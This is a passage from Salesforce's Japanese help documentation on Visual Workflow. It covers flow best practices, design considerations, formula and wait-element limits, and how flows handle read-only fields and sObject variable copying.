が可能なため、インタビューがこの時点で待機します。
2 つ目のインタビューが決定要素 (2) に評価されます。この取引先はケースが 1 件のため、インタビューが「5

件以下」のパスに転送されます。インタビューが Chatter への投稿要素 (4) に進みます。この要素も一括処理が
可能なため、インタビューがこの時点で待機します。
すべてのインタビューが処理された後、30 は 2 つ目のレコード検索要素 (3a) の実行を待機し、残りの 70 は
Chatter への投稿要素 (4) の実行を待機します。
Salesforce が、最初の 30 のインタビューのレコード検索操作 (3a)をまとめて実行します。トランザクションで、
30 件の個々の SOQL クエリではなく、1 件のクエリが実行されます。
次に、トランザクションが Chatter への投稿要素 (4) に戻ります。この要素では、70 のインタビューが Chatter へ
の投稿操作の実行を待機しています。これらは、取引先のケースが 5 件以下のインタビューです。Salesforce

が、Chatter への投稿操作をまとめて実行します。トランザクションで、各 Chatter 投稿を作成する 100 件の個別
の DML ステートメントではなく、100 の投稿をすべて一度に作成する 1 件の DML ステートメントが実行されま
す。Chatter への投稿要素は後続の要素に結び付けられていないため、この 70 のインタビューは終了します。
関連するディビジョンマネージャを検索した 30 のインタビューは、最後の Chatter への投稿要素 (3b) に進みま
す。30 のすべてのインタビューの準備が整ったら、Salesforce が 30 の Chatter への投稿操作をまとめて実行しま
す。Chatter 投稿ごとの 30 件の個々の DML ステートメントではなく、1 件の DML ステートメントが実行されま
す。Chatter への投稿要素は別の要素に結び付けられていないため、この 30 のインタビューは終了します。

フローのベストプラクティス

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローの構築と配布を始める前に、ベストプラクティスを把握してください。
フローの構築を始める前にフローを計画する

ビジネスプロセスの詳細をすべて書き出すか計画します。このようにする
と、どの情報が必要なのか、その情報をどこから取得するのか、どのロジッ
クとアクションを実行すべきなのかが明確になります。明確になると、対応
するフローの構築が簡単になります。

Sandbox や Developer Edition 組織などのテスト環境でフローを構築する
最も避けるべきことは、会社の本番組織でレコードを誤って変更してしまう
ことです。フローは別の環境で構築してください。別の環境で構築すると、
ユーザが実際に必要とするデータを変更したり削除したりすることを心配せ
ずに、擬似データを入力しフローのさまざまな順列をテストできます。

Salesforce ID をハードコードしない
ID は組織に固有であるため、新しい ID や既存の ID をハードコードしないでください。その代わりにSalesforce

が ID を作成することを許可し、フローの開始時にその ID を変数に渡します。たとえば、差し込み項目を
URL パラメータで使用したり、ルックアップ要素を使用したりして、これを実行できます。
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フローの最後まで待機してデータベースを変更する
フロー制限についてご存知ですか。フローは Apex ガバナ制限下で動作するため、制限は緩くはありませ
ん。この制限に達することを避けるため、すべてのデータベース変更は、その変更によってレコードが作
成、更新、または削除される場合でも、フローの終了時にまとめることをお勧めします。

実行中のユーザが逆方向に進むタイミングを制御する
フローにより、2 つの画面間でデータベースが変更される場合は、後の画面から前の画面に進むことをユー
ザに許可しないでください。許可すると、フローによってデータベースへの変更が重複することがありま
す。

エラーハンドラを提供する
残念ですが、設定した操作がフローによって実行されないことがあります。重要な情報がフローにないか、
実行ユーザに必須権限がないことが考えられます。デフォルトでは、フローによってユーザにエラーメッ
セージが表示され、フローを作成したシステム管理者にメールが送信されます。ただし、この動作は制御
できます。詳細および推奨事項は、「フローが失敗した場合の処理のカスタマイズ」を参照してください。

早めに頻繁に保存する
Cloud Flow Designerは、インターネットアクセスの消失など、予想外の問題の被害を受けることがあります。
Salesforce によって変更が自動的に保存されることはないため、作業内容の保存は自分次第です。可能な限
り頻繁に保存し、数時間分の作業を誤って消失しないようにしてください。

フローの順列を可能な限り多くテストする
Salesforce のすべてのカスタマイズと同じように、作業内容をテストすることが重要です。フローが分岐し
ていたり、その他の複雑なロジックが使用されたりする場合はなおさらです。考え付くかぎり多くの可能
性をテストしてから、フローをユーザに配布してください。

フロー設計の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローを設計するときは、次のガイドラインに留意してください。
変数の削除

sObject 変数または sObject コレクション変数を削除すると、削除された変数を
使用する変数割り当ては null に設定されます。

パーセント値の操作
フローで sObject 変数を使用してパーセント値を操作している場合は、フロー
を慎重にテストしてください。sObject 変数のパーセント項目に値を挿入し、
数式内でその項目を参照すると、その値は自動的に 100 で割った値になりま
す。
たとえば、商談の [確度] 項目が 100 に設定されているとします。その値を
sObject 変数 {!Opportunity.Probability}に割り当てても、値は 100 のま
まです。ただし、{!Opportunity.Probability} を含む数式を作成すると値は 1 になります。

空白の項目またはリソースの参照
項目またはリソースの値を空白のままにすると、実行時にその値は nullになります。テキスト値を null

ではなく、空の文字列として処理するには、その値を {!$GlobalConstant.EmptyString} に設定しま
す。
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Boolean 型での null と false の扱いの違い
フローでは、null を false とは異なる値として扱います。たとえば、チェックボックス項目が null に
設定されているレコードを見つけようとすると、返されるレコードはありません。この場合は、チェック
ボックス項目が false に設定されているレコードを探します。変数 (myCheckbox = {!varBoolean} な
ど) を使用している場合、変数をレコード検索条件で参照する前に、その変数が null に設定されていないこ
とを確認します。

レコードタイプの設定
レコードタイプを設定するには、レコードタイプの ID を使用します。フローで、レコード名を使用してレ
コードタイプを検索し、その ID を保存します。
たとえば、レコード検索要素を使用して、名前が「Reduction Order」である RecordType レコードを検索し、
そのレコードタイプの ID を変数に保存します。その後、この変数を使用して、注文レコードに [注文レコー
ド種別] 項目を設定できます。

個人取引先の使用
組織で個人取引先を使用する場合は、Account.Salutationではなく Contact.Salutationを参照しま
す。

外部オブジェクト
外部オブジェクトはフローでサポートされていません。

Cloud Flow Designer の考慮事項
Cloud Flow Designerでフローを作成するときは、その制限と動作についてよく理解してください。たとえば、
さまざまなロケールがサポートされ、管理パッケージからフローを開くことはできません。
大規模なフローを操作するためのガイドライン
ビジネスプロセスは複雑になる場合があります。キャンバスに対してフローが大きすぎる場合は、ズーム
コントロール、[エクスプローラ] タブでの検索、左のサイドパネルの折りたたみを行います。
2 列フローの考慮事項
組織で Lightningランタイムを有効にしている場合は、そのフローを 1 列で表示するか、2 列で表示するかを
制御できます。この機能を使用する前に、フローレイアウトの現在の動作方法を把握してください。
複数選択肢項目の制限
複数選択チェックボックス項目および複数選択リスト項目を使用すると、フローユーザが画面項目で複数
の選択肢を選択できます。複数選択肢項目を使用し始める前に、フローを設計するときおよびユーザがフ
ローを実行するときにフローでこれらの項目がどのように機能するかを理解しておきます。
フロー数式の制限
数式リソースを作成するか、画面入力項目に入力規則を追加する場合は、Visual Workflow での数式の制限を
理解しておく必要があります。
時間ベースのフローの制限
待機要素を含むフローを設計する場合は、その制限やガイドラインを理解しておく必要があります。
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フローの操作と参照のみの項目
フローが項目値に対して持つアクセス権が参照のみになるのはいつかを把握してください。フローが参照
のみの項目の更新を試行するときの動作を制御して、参照のみの項目値をフローの操作から削除できます。

関連トピック:

フローの作成
フロー演算子
Visual Workflow の制限および考慮事項
フローでのクロスオブジェクト項目の参照

Cloud Flow Designer の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Cloud Flow Designerでフローを作成するときは、その制限と動作についてよく理解
してください。たとえば、さまざまなロケールがサポートされ、管理パッケー
ジからフローを開くことはできません。
• 実行時に、日付/時間値のタイムゾーンが Cloud Flow Designerに表示される値と

異なる場合があります。実行中、日付/時間値は実行ユーザの Salesforce での
タイムゾーン設定を反映します。Cloud Flow Designerの日付/時間値は、ご利用
のコンピュータで設定されたタイムゾーンを反映します。Cloud Flow Designer

では日付/時間値に GMT オフセットが追加されます。
• Cloud Flow Designerではユーザ入力項目のテキストで UTF-8 エンコードをサポー

トしません。
• Cloud Flow Designer にはサポートしているすべてのロケールの埋め込みフォン

トが含まれています。サポートしているロケールは次のとおりです。
– 英語 (米国)

– フランス語 (フランス)

– ドイツ語 (ドイツ)

– スペイン語 (スペイン)

– 日本語 (日本)

– 中国語 (繁体字)

– 中国語 (簡体字)

サポートしているロケールでサポートされていない文字を入力すると、埋め込みフォントの代わりにシス
テムフォントを使用して表示されます。
サポートされていないロケールでは、システムフォント設定は、Cloud Flow Designer ですべての文字を表示
するために使用されます。

• Cloud Flow Designer は、管理パッケージからインストールされたフローを開くことができません。
• Cloud Flow Designer のテキスト項目の値として、文字列 null を入力してはいけません。
• Cloud Flow Designerでは、Cloud Flow Designerを開いたときに存在する情報にアクセスできます。組織でデータ

またはメタデータを変更し、それを後からフローで参照する必要がある場合は、Cloud Flow Designer を閉じ
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てからもう一度開きます。たとえば、Cloud Flow Designerが開いているときにカスタム項目を追加するかApex

クラスを変更した場合は、Cloud Flow Designer を閉じてからもう一度開きます。
• Cloud Flow Designer で現在のユーザに割り当てられる権限およびロケールを使用します。
• 最後に開いたフローを Winter '12 以前で開くと、各 Boolean 決定は、次の条件の複数結果形式の決定要素に変

換されます。
– 古い決定と同じ名前を使用する。
– 古い決定の一意の名前を取得して「_switch」が追加される。
– 「True」という結果ラベルが付いている。この結果の一意の名前は、古い決定の名前に一致し、その条

件は、古い決定の True 結果から移行されます。
– 「False」というデフォルトの結果ラベルが付いている。

大規模なフローを操作するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ビジネスプロセスは複雑になる場合があります。キャンバスに対してフローが
大きすぎる場合は、ズームコントロール、[エクスプローラ] タブでの検索、左の
サイドパネルの折りたたみを行います。
ズーム

フローをズームイン/ズームアウトするには、キャンバスの右側にある + およ
び - ボタンを使用します。

[エクスプローラ] タブでの検索
特定の要素またはリソースを探す場合は [エクスプローラ] タブで検索します。

• 特定の名前の要素を見つけるには、検索ボックスに名前を入力します。
• 特定の要素またはリソースのすべてのインスタンスを見つけるには、虫眼鏡アイコンをクリックして種

別を選択します。
[エクスプローラ] タブで目的のリソースを見つけたら、どの要素がリソースを使用しているかを確認しま
す。[説明] ペインの [利用状況] タブをクリックします。
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[エクスプローラ] タブで目的の要素を見つけたら、その要素をキャンバスで見つけます。要素にマウスポ
インタを置いて、虫眼鏡アイコンをクリックします。

要素がキャンバスで緑で強調表示されます。

要素がビューに含まれていない場合は、Cloud Flow Designerが自動的にスクロールして要素が表示されます。
左のサイドパネルの折りたたみ

[パレット]、[リソース]、[エクスプローラ] タブをビューで非表示にするには、サイドパネルの横にある左
矢印をクリックします。これで、キャンバスのスペースがさらに増えます。
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2 列フローの考慮事項

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

組織でLightningランタイムを有効にしている場合は、そのフローを 1 列で表示す
るか、2 列で表示するかを制御できます。この機能を使用する前に、フローレイ
アウトの現在の動作方法を把握してください。
細分性

レイアウト設定はフローレベルで適用されます。画面レベルまたは項目レベ
ルでレイアウトを制御することはできません。2 列を使用するようにフロー
を設定すると、そのフローのすべての画面は 2 列で表示されます。

項目の順序
どの項目をどの列に表示するかを手動で制御することはできません。2 列を
表示するようにフローを設定すると、項目は各列に交互に表示されます。奇
数番目の項目 (第 1、第 3、第 5 など) は左列に配置されます。偶数番目の項目
(第 2、第 4、第 6 など) は右列に配置されます。
ユーザが Tab キーで画面を移動すると、左列のすべての項目にタブで移動してから、右列のすべての項目
に移動します。左から右にタブで移動するように項目を設定することはできません。

応答性
フローレイアウトはユーザーの画面のサイズに対応しません。ユーザの画面が幅 1 インチでも、幅 20 イン
チでも、同じレイアウトが使用されます。

ヒント: ユーザが電話または小型タブレットからフローを実行する場合は、2 列レイアウトをフローに
適用しないでください。

関連トピック:

Visual Workflow の制限および考慮事項
Lightning ページのフロー (ベータ) の考慮事項と制限事項
フロー URL からの 2 列画面の表示

複数選択肢項目の制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

複数選択チェックボックス項目および複数選択リスト項目を使用すると、フロー
ユーザが画面項目で複数の選択肢を選択できます。複数選択肢項目を使用し始
める前に、フローを設計するときおよびユーザがフローを実行するときにフロー
でこれらの項目がどのように機能するかを理解しておきます。
複数選択リソース項目の設定

• 複数選択肢項目に含めることができるデフォルト値は 1 つのみです。
• 動的レコード選択肢リソースを設定して、ユーザが選択したレコードの

項目値をフローの変数に割り当てることができます。複数選択肢項目に
動的レコード選択肢を使用する場合は、ユーザが選択した最後のレコー
ドの値のみがフロー変数に保存されます。同一画面上の複数の複数選択
肢項目に同じ動的レコード選択肢を使用する場合は、最初の項目に従っ
て変数が割り当てられます。
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複数選択リソース項目の値の使用
• 実行時、複数選択項目の値は、ユーザが選択した選択肢の値をセミコロンで区切った連結値になりま

す。選択した選択肢の値にセミコロンが含まれる場合、そのセミコロンは削除されます。
• フロー条件の複数選択肢項目を参照するときは、次のベストプラクティスに従います。

– 複数選択肢項目を使用する選択肢ごとに保存値を設定します。
– 同一画面上の複数の複数選択肢項目で同じ選択肢を使用することはできません。

関連トピック:

フローの画面要素: 選択肢項目

フロー数式の制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

数式リソースを作成するか、画面入力項目に入力規則を追加する場合は、Visual

Workflow での数式の制限を理解しておく必要があります。
• フロー数式では、3,000 文字を超えることはできません。
• 次の場合には、数式から null が返されます。

– 数式から返される値がそのデータ型と一致しない。
– サポートされない関数が数式に含まれている。
たとえば、数式リソースのデータ型が数値である場合、出力は数値である必
要があります。

• フロー数式では、次の関数はサポートされません。
– GETRECORDIDS

– IMAGE

– INCLUDE

– ISCHANGED

– ISNEW

– PARENTGROUPVAL

– PREVGROUPVAL

– PRIORVALUE

– REQUIRE SCRIPT

– VLOOKUP

Salesforceで数式を作成するための演算子と関数の完全なリストについては、「数式の演算子と関数」 (ペー
ジ 5502)を参照してください。

• フローでは、括弧内のすべての文字が CONTAINS 関数でチェックされます。クロスオブジェクト項目の参
照では、CONTAINS は Salesforce と同様に動作します。参照の最初の 250 文字のみがチェックされます。
次に例を示します。varContract は、契約レコードの値を含む sObject 変数を参照します。次の数式は、
最初の 250 文字のみをチェックします。
CONTAINS({!varContract.Account.Description}, "description")

5693

Visual Workflowコードではなくてクリックによる Salesforce の拡張



次の数式は、項目内のすべての文字をチェックします。
CONTAINS({!varContract.Description}, "description")

• [表示テキスト] 画面項目に無効な数式リソースが含まれていると、実行時にフローに空の文字列が表示さ
れます。

• 実行時に数式にエラーがあると、その解は Null になります。
• フローに無効な数式リソースが含まれていると、フローを有効化できません。

関連トピック:

フローの数式リソース
フローのリソース

時間ベースのフローの制限

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

待機要素を含むフローを設計する場合は、その制限やガイドラインを理解して
おく必要があります。
• フローまたはフローバージョンを無効にした後も、関連付けられた待機中の

インタビューは通常どおり続行されます。関連付けられた待機中のインタ
ビューがあるフローまたはフローバージョンは削除できません。

• インタビューは、待機要素ごとにイベントパスを 1 つのみ実行できます。そ
のイベントの 1 つが処理されると、残りのイベントがキューから削除されま
す。

• 組織では、1 時間につき最大 1,000のイベントを処理できます。イベントが処
理されると、そのイベントが関連付けられたインタビューが再開され、その
インタビューの他のイベントがキューから削除されます。この制限を超える
と、Salesforce が残りのイベントを次の 1 時間に処理します。
たとえば、午後 4 時から 5 時の間に組織に 1,200 のイベントの処理がスケジュールされているとします。
Salesforceは、午後 4 時から午後 5 時の間に 1,000のイベントを処理し、残りの 200 のイベントは午後 5 時から
午後 6 時の間に処理します。

• 組織は一度に最大 30,000 のインタビューを待機させることができます。
• Salesforce がイベントパスの実行を試みたときにインタビューを開始したユーザが無効化されている場合、

インタビューの再開は失敗します。

トランザクションと待機中のインタビュー
フローインタビューがイベントの待機を開始した時点で、トランザクションは終了します。フローインタビュー
が再開すると、新しいトランザクションが開始します。待機要素の後にあるものはすべて、再開された他のイ
ンタビューを含む一括処理トランザクションの一部として実行されます。
インタビューは、個別に再開されるのではなく、1 つのバッチにまとめられ、最初のインタビューがバッチに
入れられてから 1 時間以内に再開されます。これらのインタビューの結果として実行されるアクションも、ト
ランザクションで実行されます。再開されたインタビューによって DML 操作または SOQL クエリが次の方法で
実行された場合は、この動作によって Apex ガバナ制限を超えることがあります。
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• レコード作成や高速検索などのフロー要素
• Apex プラグイン要素
• Apex トリガ
• ルール適用時のアクション
Apex ガバナ制限についての詳細は、「Visual Workflow の制限」 (ページ 5678)を参照してください。
待機要素の後に、DML 操作または SOQL クエリを実行するフロー要素が続く場合は、次のようにします。
• Apexガバナ制限で許可されている数以上の DML 操作または待機要素間の SOQL クエリがフローで実行されな

いことを確認します。
• 複数の待機要素を使用して、DML 操作や SOQL クエリが複数のトランザクションで実行されるようにしま

す。
• これらの要素の障害パスを追加して、次の障害メッセージが表示された場合にフローが待機要素まで戻る

ようにします。
Too many SOQL queries

または
Too many DML operations

再開後のインタビューが失敗した場合
• そのバッチのトランザクションの以前のインタビューは正常に実行されています。
• インタビューが待機中になる前に実行した操作は正常に実行されています。
• 失敗が障害コネクタによって処理されたときは、インタビューが再開されてから失敗するまでに行われた

操作は正常に実行されています。インタビューの失敗の原因になった操作は正常に実行されていません。
• 失敗が障害コネクタによって処理されないときは、インタビューが再開されてから失敗するまでに行われ

た操作はロールバックされています。インタビューの失敗の原因になった操作は正常に実行されていませ
ん。

• このバッチの残りのインタビューは試行されます。

一般的なアラームの制限
• アラームは、分および秒をサポートしていません。
• インタビューが待機しているイベントに過去の時間が設定されている場合、Salesforce は 1 時間以内にイン

タビューを再開します。
たとえば、完了予定日の 7 日前に商談所有者にメールを送信するフローが設定され、完了予定日が今日に
設定された商談のインタビューが設定された場合、Salesforce は 1 時間以内にインタビューを再開します。

絶対時間のアラームの制限
• 絶対時間のアラームは、フローを作成したユーザのタイムゾーンに基づいて評価されます。

相対時間のアラームの制限
• 相対時間のアラームは、組織のタイムゾーンに基づいて評価されます。
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• 組織では、すべてのフローバージョンを合わせて最大 20,000 の相対時間のアラームを定義できます。
• アラームは次の項目を参照できません。

– TODAY や NOW など、自動的に派生する関数を含む DATE または DATETIME 項目。
– 関連オブジェクトの差し込み項目が含まれる数式項目。

• 待機中のインタビューの未実行の相対時間のアラームが参照する日付項目を変更すると、Salesforce がイン
タビューに関連付けられているイベントを再計算します。
たとえば、完了予定日の 7 日前に商談所有者にメールを送信するフローが設定され、完了予定日が 2014 年
2 月 20 日に設定されている場合、次の事項が発生する可能性があります。
– インタビューが再開される前に完了予定日が更新されない。結果: Salesforce は 2014 年 2 月 13 日にインタ

ビューを再開し、メールを送信します。
– インタビューが再開される前に完了予定日が 2014 年 2 月 10 日に更新される。結果: Salesforce は相対時間

のアラームを再スケジュールし、2014 年 2 月 3 日にインタビューを再開します。
– 完了予定日が過去の日付に更新される。結果: Salesforce は相対時間のアラームを再計算し、レコードが

保存された直後にインタビューを再開します。
• インタビューが待機要素を実行する時点で相対時間のアラームが参照する日付項目の値が null の場合、

Salesforce は 1 時間以内にインタビューを再開します。
• インタビューが待機要素を実行する時点で相対時間のアラームが参照する日付項目の値が null 以外で、ア

ラームが処理される前に nullに更新された場合、Salesforceが日付項目の更新後 1 時間以内にインタビュー
を再開します。

• 待機中のインタビューに相対時間のアラームが設定されており、参照されるレコードまたはオブジェクト
が削除されると、そのアラームがキューから削除されます。インタビューに待機するイベントが他にない
場合は、そのインタビューが削除されます。

• 待機中のインタビューの相対時間または絶対時間のアラームで参照されている商品または価格表はアーカ
イブできません。

• リードの取引開始の制限
– 待機中のインタビューの相対時間のアラームに関連付けられているリードは取引を開始できません。
– [リードの取引開始による入力規則とワークフロートリガの実行] が有効になっている場合は、リードの

取引開始時に、待機要素後のリードに対する既存の操作が実行されません。
– リードに基づくキャンペーンメンバーの取引が、そのレコードに関連付けられている待機中のインタ

ビューが終了する前に開始されても、Salesforce はインタビューを実行します。

関連トピック:

フロー設計の考慮事項
Visual Workflow の制限および考慮事項
フロー条件の演算子
フローの待機要素
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フローの操作と参照のみの項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローが項目値に対して持つアクセス権が参照のみになるのはいつかを把握し
てください。フローが参照のみの項目の更新を試行するときの動作を制御して、
参照のみの項目値をフローの操作から削除できます。

フローでレコードの作成または更新を行うときにアクセスできない項目
フローで操作を実行できるのは、実行ユーザにその権限がある場合に限られ
ます。フローでレコードの作成または更新を行おうとすると、実行ユーザが
編集できない項目は、アクセス不可つまり参照のみとみなされます。項目が
アクセス不可となるのは、その項目を編集する権限がユーザに与えられてい
ないか、その項目がシステム項目であって常に参照のみである場合です。
フローが参照のみの項目の値を設定しているときに発生することの制御
フローでは、レコードの作成または更新をするとき、特定の項目の値が設定されます。実行ユーザにこの
ような項目の編集アクセス権がない場合は、どのようになるのでしょうか。高速作成要素と高速更新要素
の場合は、あなた次第です。動作を制御するには、[フロー要求のアクセスできない項目を絞り込む]設定を
選択または選択解除します。
sObject 変数からの参照のみの項目の削除
実行ユーザが編集できない項目をフローが更新しようとして、[フロー要求のアクセスできない項目を絞り込
む]が組織で有効でない場合、フローはエラーになります。sObject 変数に参照のみの項目が含まれており、
その項目の「編集」権限を実行ユーザに与えることができない場合は、その項目を sObject 変数から削除し
ます。高速作成要素や高速更新要素の代わりにレコードの作成要素やレコードの更新要素を使用するか、
書き込み可能な項目値を新しい sObject 変数にコピーします。

フローでレコードの作成または更新を行うときにアクセスできない項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローで操作を実行できるのは、実行ユーザにその権限がある場合に限られま
す。フローでレコードの作成または更新を行おうとすると、実行ユーザが編集
できない項目は、アクセス不可つまり参照のみとみなされます。項目がアクセ
ス不可となるのは、その項目を編集する権限がユーザに与えられていないか、
その項目がシステム項目であって常に参照のみである場合です。
どの項目がシステム項目であるかを判断するには、『Salesforce および Force.com の
オブジェクトリファレンス』を参照してください。その他の項目のうちどれが
編集可能でないかを判断するには、実行ユーザの権限を確認します。

参照のみの項目の sObject 変数への入り方

変数に含まれる項目変数に代入する要素

含めることを選択した Idおよびその他の参照のみの
項目。

高速検索要素

含めることを選択した、参照のみの項目。割り当て要素またはレ
コードの検索要素
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変数に含まれる項目変数に代入する要素

すべてのオブジェクトのシステム項目、および実行ユーザに編集権限がな
い項目。変数には、オブジェクトのすべての項目がデフォルトで含まれま
す。

プロセスまたはワークフロールー
ル

sObject 変数に参照のみの項目が含まれるときの対処法
sObject 変数に保存されている参照のみの項目ごとに、次のように対処します。
1. フローでその項目を使用しているかどうかを判断します。使用していない場合は、その項目の値を保存し

ないようにフローを更新します。この提案事項が当てはまるのは、高速検索などのフローの要素が変数に
入力する場合のみです。
たとえば、高速検索要素は CreatedByDateを保存しますが、その項目を参照する要素は他にありません。
CreatedByDate を保存しないように、高速検索を更新してください。

2. 参照のみの項目がフローで参照されている場合は、フローでその操作を実行するために必要となる権限を
実行ユーザに与えます。

3. その項目で必要となる権限を実行ユーザに与えられない場合は、その項目を更新しないようにフローを更
新します。

例: フローでは、高速更新要素を使用して取引先のいくつかの項目が更新されます。ユーザは [説明] お
よび [取引先 評価]を編集できますが、[所有者 ID]または LastModifiedDateを編集できません。フ
ローが実行時にエラーになることを防止するには、次のように操作します。
• ユーザに [所有者 ID] の「編集」権限を与えます。
• 元の sObject 変数から新しい sObject 変数に、書き込み可能な項目値 ([説明]、[取引先 評価]、[所有者

ID]) のみをコピーします。高速更新要素では、新しい sObject 変数を参照します。
書き込み可能な項目値のみをコピーすると、フローは実行時に LastModifiedDate の値を設定しよ
うとしなくなります。

関連トピック:

sObject 変数からの参照のみの項目の削除
フローが参照のみの項目の値を設定しているときに発生することの制御
Salesforce および Force.com のオブジェクトリファレンス: システム項目
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フローが参照のみの項目の値を設定しているときに発生することの制御

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

プロセスの自動化設定を
編集する
• 「アプリケーションの

カスタマイズ」

フローでは、レコードの作成または更新をするとき、特定の項目の値が設定さ
れます。実行ユーザにこのような項目の編集アクセス権がない場合は、どのよ
うになるのでしょうか。高速作成要素と高速更新要素の場合は、あなた次第で
す。動作を制御するには、[フロー要求のアクセスできない項目を絞り込む]設定
を選択または選択解除します。
フロー要求が行われるのは、レコードの作成や更新などの操作をフローが実行
しようとするときです。

[フロー要求のアクセスできない項目を絞り込む] の
状態

オフ (推奨)オン

処理は失敗します。
処理の項目は更新されま
せん。障害パスがある場
合、フローで実行されま
す。

処理は部分的に成功しま
す。
フローで参照のみ項目が
処理から除外されます。
ユーザが編集できる項目
は更新されます。ユーザ

実行ユーザにすべての項
目への編集アクセス権が
ない場合の結果

が編集できない項目は更
新されません。障害パス
はフローで実行されませ
ん。

システム管理者には、す
べての詳細が記載された

一部の項目が更新されな
かったことを示す通知は

1 つ以上の項目が更新さ
れていない場合の通知

フローのエラーメールが
送信されます。

ユーザまたはシステム管
理者に送信されません。

整合性あり整合性なしレコードの作成要素とレ
コードの更新要素の比較

ヒント: この設定を無効にして、期待されるすべての項目値をフローが設定しないのはいつなのかを常に
把握することをお勧めします。

1. [設定] から、[クイック検索] ボックスに「自動」と入力し、[プロセスの自動化設定] を選択します。
2. [フロー要求のアクセスできない項目を絞り込む] をオンまたはオフにします。

組織が Winter ’17 以前で作成されている場合、この設定はデフォルトで有効になります。その他の場合、こ
の設定はデフォルトで無効です。
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例: フローでは、高速更新要素を使用して商談のいくつかの項目が更新されます。実行時に、ユーザの代
わりにフローで Acme 取引先の更新が試行されます。ユーザは [フェーズ] と [完了予定日] を編集できま
すが、[金額] は編集できません。そのため、フローには [金額] を更新する権限がありません。
• [フロー要求のアクセスできない項目を絞り込む]がオンの場合、フローで取引先が正常に更新されます

が、[フェーズ] と [完了予定日] のみが更新されます。[金額] が更新されなかったことはフローで通
知されません。

• [フロー要求のアクセスできない項目を絞り込む]がオフの場合、フローで取引先を更新できません。シ
ステム管理者にフローのエラーメールが送信されます。メールには次のエラーが記載されています。
INVALID_FIELD_FOR_INSERT_UPDATE: Unable to create/update fields: Amount

これは、「実行ユーザに [金額] 項目を編集する権限がない」ことを示す API からのメッセージです。

警告: この設定の組織の選択内容を変更する場合は、Sandbox を使用して変更によるフローへの影響をテ
ストします。重要な更新の場合と同じプロセスに従うことを検討してください。

関連トピック:

フローでレコードの作成または更新を行うときにアクセスできない項目

sObject 変数からの参照のみの項目の削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

実行ユーザが編集できない項目をフローが更新しようとして、[フロー要求のア
クセスできない項目を絞り込む] が組織で有効でない場合、フローはエラーにな
ります。sObject 変数に参照のみの項目が含まれており、その項目の「編集」権
限を実行ユーザに与えることができない場合は、その項目を sObject 変数から削
除します。高速作成要素や高速更新要素の代わりにレコードの作成要素やレコー
ドの更新要素を使用するか、書き込み可能な項目値を新しい sObject 変数にコピー
します。

メモ: 高速検索要素や割り当て要素で sObject 変数に参照のみの項目が代入
される場合は、その項目に値を入力しないように要素を更新することを検
討してください。

ある sObject 変数から別の sObject 変数への項目値のコピー
sObject 変数と sObject コレクション変数では項目に、実行ユーザが編集できない値セットを持つ場合があり
ます。ただし、ユーザはその他の値を使用して、高速作成または高速更新要素でレコードの作成や更新が
できます。これを行うには、元の sObject 変数から新しい sObject 変数に、書き込み可能な値を対応付けま
す。

関連トピック:

フローのレコード作成要素
フローのレコード更新要素
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ある sObject 変数から別の sObject 変数への項目値のコピー
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

sObject 変数と sObject コレクション変数では項目に、実行ユーザが編集できない
値セットを持つ場合があります。ただし、ユーザはその他の値を使用して、高
速作成または高速更新要素でレコードの作成や更新ができます。これを行うに
は、元の sObject 変数から新しい sObject 変数に、書き込み可能な値を対応付けま
す。

メモ:  sObject コレクション変数では、ループを使用して、新しいコレクショ
ンに項目値を対応付けます。

1. 割り当て要素をフローに追加します。元の sObject 変数に値が代入された後
で、要素の作成や更新の前に、フローがこの要素を実行することを確認して
ください。

2. 元の sObject 変数の書き込み可能な項目ごとに、行を追加します。
• 変数 — {!sObjectVar2.field}を選択します。sObjectVar2は新しい

変数の名前であり、field はその変数の項目です。
• 演算子 — [次の文字列と一致する] を選択します。
• 値 — {!sObjectVar1.field}を選択します。sObjectVar1は元の変数

の名前であり、field はその変数の項目です。

メモ: 高速更新要素でこの変数を参照する場合は、レコードの ID を新し
い sObject 変数に含めます。Id は参照のみですが、フローはこの値を使
用して、どのレコードを更新するかを判断します。

例: {!myCaseVar_all} という sObject 変数があるとします。一部の参照のみの項目に値が保存されてお
り、高速更新要素でこれを使用することはできません。更新する項目を新しい sObject 変数、IsEscalated

および Status にコピーします。Id も、更新操作に必要であるためコピーします。割り当てルールは次
のようになります。

値演算子変数

{!myCaseVar_original.Id}次の文字
列と一致
する

{!myCaseVar_final.Id}

{!myCaseVar_original.IsEscalated}次の文字
列と一致
する

{!myCaseVar_final.IsEscalated}

